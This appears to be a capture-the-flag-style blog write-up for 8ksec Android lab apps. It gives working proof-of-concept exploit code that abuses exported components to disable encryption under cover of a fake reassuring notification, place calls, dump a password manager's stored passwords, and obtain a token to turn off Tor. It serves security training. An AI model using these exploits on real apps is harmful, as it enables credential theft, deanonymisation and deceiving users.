Featured image of post 8ksec_android_labs

8ksec_android_labs

8ksec android exploitation writeups

This is the writeups for 8ksec android exploitation module. It covers several android app exploitation techniques but they are pretty easy and straight forward.

Challenges covered in this writeup include

  • AndroPseudoProtect
  • AndroDialer
  • DroidCave
  • DroidView
  • DroidWars
  • ReconDroid

I’m still working on

  • GeofenceGamble: The Ultimate Game of Speed
  • BorderDroid: International Border Protection
  • FactsDroid: Your Universal Knowledgebase

check them out at : academy.8ksec.io

Written by : 0xf0rk3b0mb On : 14/07/2025


Prerequisites

You will need the following tools/knowledge:

  • Android emulator/physical phone (i prefer to have both)
  • Jadx-gui
  • Frida-tools
  • apktool
  • Android Studio
  • Ghidra
  • adb-tools
  • Knowledge on android programming

AndroPseudoProtect

Pasted image 20250714102645

This app check file in android storage and ecrypts tem when start security button is clicked , they are then decrypted when stop security is clicked.

N.B Run this in an emulator since the you may lose important files in a real phone :( , leant the hard way.

GOAL : create an exploit to silently disable security and enable an attacker to read files in plain text , also send a notification assuring the user that security is still on.

Analysis

Using Jadx-gui decompile the app.

First things first find all exported components this are they ones that can be accessed by other apps i.e our poc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<activity
  
            android:name="com.eightksec.andropseudoprotect.MainActivity"
  
            android:exported="true">
  
            <intent-filter>
  
                <action android:name="android.intent.action.MAIN"/>
  
                <category android:name="android.intent.category.LAUNCHER"/>
  
            </intent-filter>
  
        </activity>
  
        <service
  
            android:name="com.eightksec.andropseudoprotect.SecurityService"
  
            android:exported="true"
  
            android:foregroundServiceType="dataSync"/>
  
        <receiver
  
            android:name="com.eightksec.andropseudoprotect.SecurityReceiver"
  
            android:exported="true">
  
            <intent-filter>
  
                <action android:name="com.eightksec.andropseudoprotect.START_SECURITY"/>
  
                <action android:name="com.eightksec.andropseudoprotect.STOP_SECURITY"/>
  
            </intent-filter>
  
        </receiver>

The security service and receiver are interesting , we will focus in SecurityService since the receiver just forwards the intents to the service , it also has intent filters which will be useful in exploit development. Read more » here

In SecurityService onStart method we can see in order to stop security we need the STOP_SECURITY intent action , we also need to pass an extra with correct value of security token handled by class SecurityUtils.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public int onStartCommand(Intent intent, int flags, int startId) {
  
        String action = intent != null ? intent.getAction() : null;
  
        if (action != null) {
  
            int hashCode = action.hashCode();
  
            if (hashCode != -1447419790) {
  
                if (hashCode == -1187150936 && action.equals(ACTION_START_SECURITY)) {
  
                    String stringExtra = intent.getStringExtra(EXTRA_SECURITY_TOKEN);
  
                    if (stringExtra != null && Intrinsics.areEqual(stringExtra, new SecurityUtils().getSecurityToken())) {
  
                        if (this.isServiceRunning) {
  
                            stopSecurity();
  
                        }
  
                        startSecurity();
  
                    }
  
                    return 1;
  
                }
  
            } else if (action.equals(ACTION_STOP_SECURITY)) {
  
                String stringExtra2 = intent.getStringExtra(EXTRA_SECURITY_TOKEN);
  
                if (stringExtra2 != null && Intrinsics.areEqual(stringExtra2, new SecurityUtils().getSecurityToken())) {
  
                    stopSecurity();
  
                }
  
                return 1;
  
            }
  
        }
  
        startAsForeground();
  
        return 1;
  
    }

In class SecurityUtils , we can see that the token is retrieved from a native lib.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public final class SecurityUtils {
  
    public final native String getSecurityToken();
  
  
    static {
  
        System.loadLibrary("security-native");
  
    }
  
}

With this requirements identified we are ready to develop the exploit

Exploit

First we create a new project in android studio, then create a folder called jniLibs here we will copy the native libs from the target android app , this can be extracted from the android app by unzipping it , they are usually in the folder “lib”.

Pasted image 20250714104349

From there we can begin programming the app.

To use the libs we have to add a new package to the project that has the same name as the origin of the native libs , the activity name also has to match , in this case com.eightsec.androseudoprotect.SecurityUtils , this is because it is usually hardcoded in the libs so it wont work if we use it without doing this.

Pasted image 20250714104903

The contents of SecurityUtils.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package com.eightksec.andropseudoprotect;  
  
import android.util.Log;  
  
public final class SecurityUtils {  
    public final native String getSecurityToken();  
  
    static {  
        System.loadLibrary("security-native");  
    }  
}

In our MainActivity we can then call the function getSecurityToken to retrive the token.

Content of MainActivity:

This section retrieves the token and creates an intent with the STOP_SECURITY action and the token as the extra. The target app pkg and cls is also defined. We can then send the broadcast since we are interaction with a Broadcast Receiver . Read more » here

1
2
3
4
5
6
7
8
9
SecurityUtils securityUtils = new SecurityUtils();  
String token = securityUtils.getSecurityToken();  
Log.i(TAG, "Token: " + token);  
  
Intent intent = new Intent();  
intent.putExtra("security_token", token);  
intent.setClassName("com.eightksec.andropseudoprotect", "com.eightksec.andropseudoprotect.SecurityReceiver");  
intent.setAction("com.eightksec.andropseudoprotect.STOP_SECURITY");  
sendBroadcast(intent);

This is enough to trigger the exploit , but i added some fancy bs to demonstrate the exploit actually works , the methods to send a notification and reads a proof plain text file using SAF.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
private void sendFakeSecurityNotification() {  
    createNotificationChannel(this);  
  
    Intent openIntent = new Intent(this, MainActivity.class); // Opens this PoC again  
    PendingIntent pendingIntent = PendingIntent.getActivity(  
            this, 0, openIntent, PendingIntent.FLAG_IMMUTABLE  
    );  
  
    Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)  
            .setSmallIcon(android.R.drawable.ic_lock_lock)  
            .setContentTitle("AndroPseudoProtect")  
            .setContentText("All files Encrypted successfuly!") // Fake message  
            .setPriority(NotificationCompat.PRIORITY_HIGH)  
            .setCategory(NotificationCompat.CATEGORY_SERVICE)  
            .setOngoing(true)  
            .setContentIntent(pendingIntent)  
            .build();  
  
    NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);  
    notificationManager.notify(101, notification); // ID 101 to avoid legit conflict  
}  
  
private void createNotificationChannel(Context context) {  
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {  
        NotificationChannel channel = new NotificationChannel(  
                CHANNEL_ID,  
                "Fake Security Channel",  
                NotificationManager.IMPORTANCE_HIGH  
        );  
        channel.setDescription("Imitating security app notifications");  
        NotificationManager manager = context.getSystemService(NotificationManager.class);  
        if (manager != null) {  
            manager.createNotificationChannel(channel);  
        }  
    }  
}  
  
  
private void openFilePicker() {  
    Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);  
    intent.addCategory(Intent.CATEGORY_OPENABLE);  
    intent.setType("*/*");  
    intent.putExtra(Intent.EXTRA_LOCAL_ONLY, true);  
    startActivityForResult(intent, PICK_FILE_REQUEST_CODE);  
}  
  
private void readFileFromUri(Uri uri) {  
    try (InputStream inputStream = getContentResolver().openInputStream(uri);  
         BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream))) {  
        StringBuilder builder = new StringBuilder();  
        String line;  
        while ((line = reader.readLine()) != null) {  
            builder.append(line).append("\n");  
        }  
        TextView Result = findViewById(R.id.result);  
        Result.setText("File content:\n" + builder.toString());  
        Log.i(TAG, "File content:\n" + builder.toString());  
    } catch (IOException e) {  
        Log.e(TAG, "Error reading file", e);  
    }  
}

That is all you need to exploit this. I am not doing alot of detailed explaining since this writeup will be really long :(


AndroDialer.

This app is a basic phone calls app.

IMG-20250714-WA0003[1]

GOAL : Develop an exploit that can be used be an attacker to make malicious calls.

Analysis

First things first find all exported components. There alot so ill just get to the point. This CallHandlerServiceActivity can be exploited to achieve our goal. Based on then scheme and host definition we can tell that we will be working with android deeplinks. Read more » here

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<activity
  
            android:theme="@android:style/Theme.NoDisplay"
  
            android:name="com.eightksec.androdialer.CallHandlerServiceActivity"
  
            android:exported="true"
  
            android:taskAffinity=""
  
            android:excludeFromRecents="true">
  
            <intent-filter>
  
                <action android:name="com.eightksec.androdialer.action.PERFORM_CALL"/>
  
                <category android:name="android.intent.category.DEFAULT"/>
  
            </intent-filter>
  
            <intent-filter>
  
                <action android:name="android.intent.action.VIEW"/>
  
                <category android:name="android.intent.category.DEFAULT"/>
  
                <category android:name="android.intent.category.BROWSABLE"/>
  
                <data android:scheme="tel"/>
  
            </intent-filter>
  
            <intent-filter>
  
                <action android:name="android.intent.action.VIEW"/>
  
                <category android:name="android.intent.category.DEFAULT"/>
  
                <category android:name="android.intent.category.BROWSABLE"/>
  
                <data
  
                    android:scheme="dialersec"
  
                    android:host="call"/>
  
            </intent-filter>
  
        </activity>

The code of the Activity checks for certain parameters. The scheme for the deeplink should be “dialsec” , the host “call” , i should supply a parameter “enterprise_auth_token” whose value is hardcoded in the code anyways. Also the intent action should be perform.CALL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
  if (str7.equals("8kd1aL3R_s3Cur3_k3Y_2023") || str7.equals("8kd1aL3R-s3Cur3-k3Y-2023") || h.a(str, "8kd1aL3R_s3Cur3_k3Y_2023") || h.a(str, "8kd1aL3R-s3Cur3-k3Y-2023")) {
  
                    if (getIntent().hasExtra("phoneNumber")) {
  
                        str3 = getIntent().getStringExtra("phoneNumber");
  
                    } else {
  
                        Uri data2 = getIntent().getData();
  
                        if (h.a(data2 != null ? data2.getScheme() : null, "tel")) {
  
                            Uri data3 = getIntent().getData();
  
                            if (data3 != null) {
  
                                str3 = data3.getSchemeSpecificPart();
  
                            }
  
                        } else {
  
                            Uri data4 = getIntent().getData();
  
                            if (h.a(data4 != null ? data4.getScheme() : null, "dialersec")) {
  
                                Uri data5 = getIntent().getData();
  
                                if (h.a(data5 != null ? data5.getHost() : null, "call")) {
  
                                    Uri data6 = getIntent().getData();
  
                                    String queryParameter = data6 != null ? data6.getQueryParameter("number") : null;
  
                                    if (queryParameter == null || queryParameter.length() == 0) {
  
                                        List<String> pathSegments3 = data != null ? data.getPathSegments() : null;
  
                                        Integer valueOf = pathSegments3 != null ? Integer.valueOf(pathSegments3.indexOf("number")) : null;
  
                                        if (valueOf != null && valueOf.intValue() >= 0 && valueOf.intValue() < pathSegments3.size() - 1) {
  
                                            str3 = pathSegments3.get(valueOf.intValue() + 1);
  
                                        }
  
                                    } else {
  
                                        str3 = queryParameter;
  
                                    }
  
                                }
  
                            }

Exploit

We have to send an intent with the above requirements. The code below sends and intent with the deeplink as datastring and the target pkg anfd cls are defined. This was the easiest one in this writeup.

1
2
3
4
5
6
7
8
9
String phonenumber = "000000";  
  
Intent intent = new Intent();  
intent.setClassName("com.eightksec.androdialer","com.eightksec.androdialer.CallHandlerServiceActivity");  
intent.setAction("com.eightksec.androdialer.action.PERFORM_CALL");  
intent.setData(Uri.parse("dialersec://call?number="+phonenumber+"&enterprise_auth_token=8kd1aL3R-s3Cur3-k3Y-2023"));  
startActivity(intent);  
  
Utils.showDialog(MainActivity.this, intent);

DroidCave

This app is a password manager app.

WhatsApp Image 2025-07-14 at 13.23.23_841ededf

GOAL: Create a poc to steal stored passwords and disable encryption

Analysis

First we find exported components

1
2
3
4
5
6
7
8
9
<provider
  
            android:name="com.eightksec.droidcave.provider.PasswordContentProvider"
  
            android:exported="true"
  
            android:authorities="com.eightksec.droidcave.provider"
  
            android:grantUriPermissions="true"/>

This is what caught my attention , Content Providers are databases they even use sql queries to retrieve and store information.

Below are options that we can use in the uri to specify what we want . In this case retrieve passwords and disable encyption.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static {
  
        UriMatcher uriMatcher = new UriMatcher(-1);
  
        MATCHER = uriMatcher;
  
        uriMatcher.addURI(AUTHORITY, "passwords", 1);
  
        uriMatcher.addURI(AUTHORITY, "passwords/#", 2);
  
        uriMatcher.addURI(AUTHORITY, "password_search/*", 3);
  
        uriMatcher.addURI(AUTHORITY, "password_type/*", 4);
  
        uriMatcher.addURI(AUTHORITY, "execute_sql/*", 5);
  
        uriMatcher.addURI(AUTHORITY, "settings/*", 6);
  
        uriMatcher.addURI(AUTHORITY, PATH_DISABLE_ENCRYPTION, 7);
  
        uriMatcher.addURI(AUTHORITY, PATH_ENABLE_ENCRYPTION, 8);
  
        uriMatcher.addURI(AUTHORITY, "set_password_plaintext/*/*", 9);
  
    }

Logic for case 2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
case 2:
  
                SupportSQLiteDatabase supportSQLiteDatabase7 = null;
  
                String lastPathSegment = uri.getLastPathSegment();
  
                SupportSQLiteQueryBuilder builder2 = SupportSQLiteQueryBuilder.INSTANCE.builder("passwords");
  
                builder2.columns(projection);
  
                builder2.selection("id = ?", new String[]{lastPathSegment});
  
                SupportSQLiteDatabase supportSQLiteDatabase8 = this.database;
  
                if (supportSQLiteDatabase8 == null) {
  
                    Intrinsics.throwUninitializedPropertyAccessException("database");
  
                } else {
  
                    supportSQLiteDatabase7 = supportSQLiteDatabase8;
  
                }
  
                return supportSQLiteDatabase7.query(builder2.create())

Logic for case 7

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
case 7:
  
                try {
  
                    SharedPreferences sharedPreferences9 = this.sharedPreferences;
  
                    if (sharedPreferences9 == null) {
  
                        Intrinsics.throwUninitializedPropertyAccessException("sharedPreferences");
  
                        sharedPreferences9 = null;
  
                    }
  
                    sharedPreferences9.edit().putBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, false).commit();
  
                    Context context2 = getContext();
  
                    if (context2 != null && (applicationContext = context2.getApplicationContext()) != null && (sharedPreferences = applicationContext.getSharedPreferences("settings_prefs", 0)) != null && (edit = sharedPreferences.edit()) != null && (putBoolean = edit.putBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, false)) != null) {
  
                        Boolean.valueOf(putBoolean.commit());
  
                    }
  
                } catch (Exception e2) {
  
                    MatrixCursor matrixCursor7 = new MatrixCursor(new String[]{"error"});
  
                    matrixCursor7.addRow(new String[]{"Error disabling encryption: " + e2.getMessage()});
  
                    matrixCursor = matrixCursor7;
  
                }
  
                try {
  
                    EncryptionService encryptionService = new EncryptionService();
  
                    SupportSQLiteDatabase supportSQLiteDatabase15 = this.database;
  
                    if (supportSQLiteDatabase15 == null) {
  
                        Intrinsics.throwUninitializedPropertyAccessException("database");
  
                        supportSQLiteDatabase15 = null;
  
                    }
  
                    Cursor query = supportSQLiteDatabase15.query("SELECT id, password FROM passwords WHERE isEncrypted = 1");
  
                    ArrayList arrayList = new ArrayList();
  
                    ArrayList arrayList2 = new ArrayList();
  
                    while (query.moveToNext()) {
  
                        long j = query.getLong(query.getColumnIndexOrThrow("id"));
  
                        byte[] blob = query.getBlob(query.getColumnIndexOrThrow("password"));
  
                        try {
  
                            Intrinsics.checkNotNull(blob);
  
                            byte[] bytes = encryptionService.decrypt(blob).getBytes(Charsets.UTF_8);
  
                            Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");
  
                            ContentValues contentValues = new ContentValues();
  
                            contentValues.put("password", bytes);
  
                            contentValues.put("isEncrypted", (Integer) 0);
  
                            SupportSQLiteDatabase supportSQLiteDatabase16 = this.database;
  
                            if (supportSQLiteDatabase16 == null) {
  
                                Intrinsics.throwUninitializedPropertyAccessException("database");
  
                                supportSQLiteDatabase2 = null;
  
                            } else {
  
                                supportSQLiteDatabase2 = supportSQLiteDatabase16;
  
                            }
  
                            if (supportSQLiteDatabase2.update("passwords", 5, contentValues, "id = ?", new String[]{String.valueOf(j)}) > 0) {
  
                                arrayList.add(String.valueOf(j));
  
                            } else {
  
                                arrayList2.add(String.valueOf(j));
  
                            }
  
                        } catch (Exception e3) {
  
                            Log.e("PasswordProvider", "Error decrypting password ID: " + j, e3);
  
                            try {
  
                                byte[] bytes2 = "password123".getBytes(Charsets.UTF_8);
  
                                Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");
  
                                ContentValues contentValues2 = new ContentValues();
  
                                contentValues2.put("password", bytes2);
  
                                contentValues2.put("isEncrypted", (Integer) 0);
  
                                SupportSQLiteDatabase supportSQLiteDatabase17 = this.database;
  
                                if (supportSQLiteDatabase17 == null) {
  
                                    Intrinsics.throwUninitializedPropertyAccessException("database");
  
                                    supportSQLiteDatabase = null;
  
                                } else {
  
                                    supportSQLiteDatabase = supportSQLiteDatabase17;
  
                                }
  
                                supportSQLiteDatabase.update("passwords", 5, contentValues2, "id = ?", new String[]{String.valueOf(j)});
  
                                arrayList2.add(j + " (set to fallback)");
  
                            } catch (Exception e4) {
  
                                Log.e("PasswordProvider", "Error setting fallback password for ID: " + j, e4);
  
                                arrayList2.add(j + " (complete failure)");
  
                            }
  
                        }
  
                    }
  
                    query.close();
  
                    matrixCursor = new MatrixCursor(new String[]{"result"});
  
                    if (arrayList2.isEmpty()) {
  
                        matrixCursor.addRow(new String[]{"Encryption disabled and " + arrayList.size() + " passwords successfully decrypted."});
  
                    } else {
  
                        matrixCursor.addRow(new String[]{"Encryption disabled. " + arrayList.size() + " passwords decrypted successfully. " + arrayList2.size() + " failed and were set to fallback value."});
  
                    }
  
                    return matrixCursor;
  
                } catch (Exception e5) {
  
                    Log.e("PasswordProvider", "Error creating EncryptionService", e5);
  
                    throw e5;
  
                }

This is all we need to achive our goal

Exploit

First we query the content provider to disable encryption

Before I forget we have to add the queries field in our android Manifest this is required in newer android to protect user data. Read more » here

1
2
3
4
<queries>  
    <package android:name="com.eightksec.droidcave"/>  
  
</queries>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
ContentResolver resolver = getContentResolver();  
  
// 1) Disable encryption  
Uri disableEncryptionUri = Uri.parse("content://com.eightksec.droidcave.provider/disable_encryption");  
try {  
    Cursor disableCursor = resolver.query(disableEncryptionUri, null, null, null, null);  
    if (disableCursor != null) {  
        Log.i(TAG, "Encryption disabled successfully!");  
        results.append("Encryption disabled successfully!\n\n");  
        disableCursor.close();  
    } else {  
        Log.w(TAG, "Disable encryption query returned null cursor!");  
        results.append("Disable encryption query returned null cursor!\n\n");  
    }  
} catch (Exception e) {  
    Log.e(TAG, "Error disabling encryption", e);  
    results.append("Error disabling encryption: ").append(e.getMessage()).append("\n\n");  
}

Then we query the passwords

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// 2) Query passwords  
Uri passwordsUri = Uri.parse("content://com.eightksec.droidcave.provider/passwords/#");  
try {  
    Cursor cursor = resolver.query(passwordsUri, null, "", null, null);  
    if (cursor != null) {  
        String[] columnNames = cursor.getColumnNames();  
        while (cursor.moveToNext()) {  
            for (int i = 0; i < columnNames.length; i++) {  
                String columnName = columnNames[i];  
                int type = cursor.getType(i);  
  
                String line;  
                switch (type) {  
                    case Cursor.FIELD_TYPE_NULL:  
                        line = columnName + ": NULL";  
                        break;  
                    case Cursor.FIELD_TYPE_INTEGER:  
                        long longValue = cursor.getLong(i);  
                        line = columnName + ": " + longValue;  
                        break;  
                    case Cursor.FIELD_TYPE_FLOAT:  
                        double doubleValue = cursor.getDouble(i);  
                        line = columnName + ": " + doubleValue;  
                        break;  
                    case Cursor.FIELD_TYPE_STRING:  
                        String stringValue = cursor.getString(i);  
                        line = columnName + ": " + stringValue;  
                        break;  
                    case Cursor.FIELD_TYPE_BLOB:  
                        byte[] blobValue = cursor.getBlob(i);  
                        String blobHex = bytesToHex(blobValue);  
                        line = columnName + ": (BLOB) " + blobHex;  
                        break;  
                    default:  
                        line = columnName + ": UNKNOWN TYPE";  
                        break;  
                }  
                Log.i(TAG, line);  
                results.append(line).append("\n");  
            }  
            results.append("\n"); // separate rows  
        }  
        cursor.close();  
    } else {  
        Log.w(TAG, "Password query returned null cursor!");  
        results.append("Password query returned null cursor!\n");  
    }  
} catch (Exception e) {  
    Log.e(TAG, "Error querying passwords", e);  
    results.append("Error querying passwords: ").append(e.getMessage()).append("\n");  
}

This will disable encryption and retrieve the passwords


DroidView

This app is a browser with ability to connect to tor.

WhatsApp Image 2025-07-14 at 13.29.39_4422c94b

GOAL: Create a malicious app that makes a user visit a malicious url and disable tor to expose real ip address.

Analysis

First we find exported components. To disable tor security we need to send an intent to MainActivity with a securitytoken we can retrieve from TokenService.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

<activity
  
            android:name="com.eightksec.droidview.MainActivity"
  
            android:exported="true"
  
            android:configChanges="screenSize|orientation">
  
            <intent-filter>
  
                <action android:name="android.intent.action.MAIN"/>
  
                <category android:name="android.intent.category.LAUNCHER"/>
  
            </intent-filter>
  
            <intent-filter>
  
                <action android:name="android.intent.action.VIEW"/>
  
                <category android:name="android.intent.category.DEFAULT"/>
  
                <category android:name="android.intent.category.BROWSABLE"/>
  
                <data android:scheme="http"/>
  
                <data android:scheme="https"/>
  
            </intent-filter>
  
            <intent-filter>
  
                <action android:name="com.eightksec.droidview.LOAD_URL"/>
  
                <category android:name="android.intent.category.DEFAULT"/>
  
            </intent-filter>
  
            <intent-filter>
  
                <action android:name="com.eightksec.droidview.TOGGLE_SECURITY"/>
  
                <category android:name="android.intent.category.DEFAULT"/>
  
            </intent-filter>
  
        </activity>

<service
  
            android:name="com.eightksec.droidview.TokenService"
  
            android:exported="true">
  
            <intent-filter>
  
                <action android:name="com.eightksec.droidview.ITokenService"/>
  
                <action android:name="com.eightksec.droidview.TOKEN_SERVICE"/>
  
                <category android:name="android.intent.category.DEFAULT"/>
  
            </intent-filter>
  
        </service>

TokenService is an android service. It is also a bound service , this means it used andoid OS Binder read more here

This means that it used AIDL and Stub loading , read more in the link above.

This is the method that retrieves the token.

1
2
3
4
5
public String getSecurityToken() throws RemoteException {
  
            return SecurityTokenManager.getInstance(TokenService.this).getCurrentToken();
  
        }

We can see its definition in the stub loader. This sub loader used a custom onTransact method , so we need to modify our service connection in order to be able to interact with it.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114

public class TokenService extends Service {
  
    private static final String TAG = "TokenService";
  
    private final ITokenServiceStub binder = new ITokenServiceStub();
  
  
    @Override // android.app.Service
  
    public void onCreate() {
  
        super.onCreate();
  
    }
  
  
    @Override // android.app.Service
  
    public IBinder onBind(Intent intent) {
  
        return this.binder;
  
    }
  
  
    @Override // android.app.Service
  
    public void onDestroy() {
  
        super.onDestroy();
  
    }
  
  
    public class ITokenServiceStub extends ITokenService.Stub {
  
        private static final String DESCRIPTOR = "com.eightksec.droidview.ITokenService";
  
        static final int TRANSACTION_disableSecurity = 2;
  
        static final int TRANSACTION_getSecurityToken = 1;
  
  
        @Override // com.eightksec.droidview.ITokenService
  
        public boolean disableSecurity() throws RemoteException {
  
            return true;
  
        }
  
  
        public ITokenServiceStub() {
  
        }
  
  
        @Override // android.os.Binder
  
        public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException {
  
            if (i == 1) {
  
                parcel.enforceInterface(DESCRIPTOR);
  
                String securityToken = getSecurityToken();
  
                parcel2.writeNoException();
  
                parcel2.writeString(securityToken);
  
                return true;
  
            }
  
            if (i != 2) {
  
                if (i == 1598968902) {
  
                    parcel2.writeString(DESCRIPTOR);
  
                    return true;
  
                }
  
                return super.onTransact(i, parcel, parcel2, i2);
  
            }
  
            parcel.enforceInterface(DESCRIPTOR);
  
            boolean disableSecurity = disableSecurity();
  
            parcel2.writeNoException();
  
            parcel2.writeInt(disableSecurity ? 1 : 0);
  
            return true;
  
        }
  
  
        @Override // com.eightksec.droidview.ITokenService
  
        public String getSecurityToken() throws RemoteException {
  
            return SecurityTokenManager.getInstance(TokenService.this).getCurrentToken();
  
        }
  
    }
  
}

In the MainActivity to disable tor security we need to send an intent as follows. This is a registered broadcastreceiver inside the MainActivity

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
class AnonymousClass1 extends BroadcastReceiver {
  
        AnonymousClass1() {
  
        }
  
  
        @Override // android.content.BroadcastReceiver
  
        public void onReceive(final Context context, Intent intent) {
  
            if (MainActivity.ACTION_TOGGLE_SECURITY.equals(intent.getAction())) {
  
                try {
  
                    final boolean booleanExtra = intent.getBooleanExtra(MainActivity.EXTRA_ENABLE_SECURITY, true);
  
                    String stringExtra = intent.getStringExtra(MainActivity.EXTRA_SECURITY_TOKEN);
  
                    if (!booleanExtra && !MainActivity.this.validateSecurityToken(stringExtra)) {
  
                        Toast.makeText(context, "Error: Invalid security token", 1).show();
  
                    } else {
  
                        MainActivity.this.handler.post(new Runnable() { // from class: com.eightksec.droidview.MainActivity$1$$ExternalSyntheticLambda0
  
                            @Override // java.lang.Runnable
  
                            public final void run() {
  
                                MainActivity.AnonymousClass1.this.m90lambda$onReceive$0$comeightksecdroidviewMainActivity$1(booleanExtra, context);
  
                            }
  
                        });
  
                    }
  
                } catch (Exception unused) {
  
                }
  
            }
  
        }
  
  
        /* renamed from: lambda$onReceive$0$com-eightksec-droidview-MainActivity$1, reason: not valid java name */
  
        /* synthetic */ void m90lambda$onReceive$0$comeightksecdroidviewMainActivity$1(boolean z, Context context) {
  
            try {
  
                MainActivity.this.securitySwitch.setChecked(z);
  
                MainActivity.this.setSecurityEnabled(z);
  
                Toast.makeText(context, z ? "Enabling Tor Security" : "Disabling Tor Security", 1).show();
  
                if (z || MainActivity.this.webView.getUrl() == null) {
  
                    return;
  
                }
  
                String url = MainActivity.this.webView.getUrl();
  
                MainActivity.this.webView.loadUrl("about:blank");
  
                MainActivity.this.webView.loadUrl(url);
  
            } catch (Exception e) {
  
                Toast.makeText(context, "Error toggling security: " + e.getMessage(), 1).show();
  
            }
  
        }
  
    }

To send the url we have to send an intent with the action LOAD_URL and the url as an intent Extra.

Exploit

First we add the queries field as explained earlier why we need this.

1
2
3
<queries>  
    <package android:name="com.eightksec.droidview" />  
</queries>

Next we connect to the TokenService

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private ServiceConnection connection = new ServiceConnection() {  
    @Override  
    public void onServiceConnected(ComponentName name, IBinder binder) {  
        isBound = true;  
        try {  
            Parcel data = Parcel.obtain();  
            Parcel reply = Parcel.obtain();  
            data.writeInterfaceToken("com.eightksec.droidview.ITokenService");  
            boolean transactResult = binder.transact(1, data, reply, 0);  
            if (!transactResult) {  
                Log.e("POC", "Transact getSecurityToken failed");  
            } else {  
                reply.readException();  
                securityToken = reply.readString();  
                Log.i("POC", securityToken != null ? "Token obtained: " + securityToken : "Token not found");  
            }  
            data.recycle();  
            reply.recycle();  
  
            DisableSecurity();  
        } catch (RemoteException e) {  
            Log.e("POC", "RemoteException", e);  
        }  
    }  
    @Override  
    public void onServiceDisconnected(ComponentName name) {  
        isBound = false;  
    }  
};
1
2
3
4
5
6
public void ObtainToken() {  
    Intent intent = new Intent("com.eightksec.droidview.TOKEN_SERVICE");  
    intent.setPackage("com.eightksec.droidview");  
    bindService(intent, connection, Context.BIND_AUTO_CREATE);  
    startTargetMainActivity();  
}

Method to disable tor security

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

public void DisableSecurity() {  
    Intent intent = new Intent("com.eightksec.droidview.TOGGLE_SECURITY");  
    intent.putExtra("security_token", securityToken);  
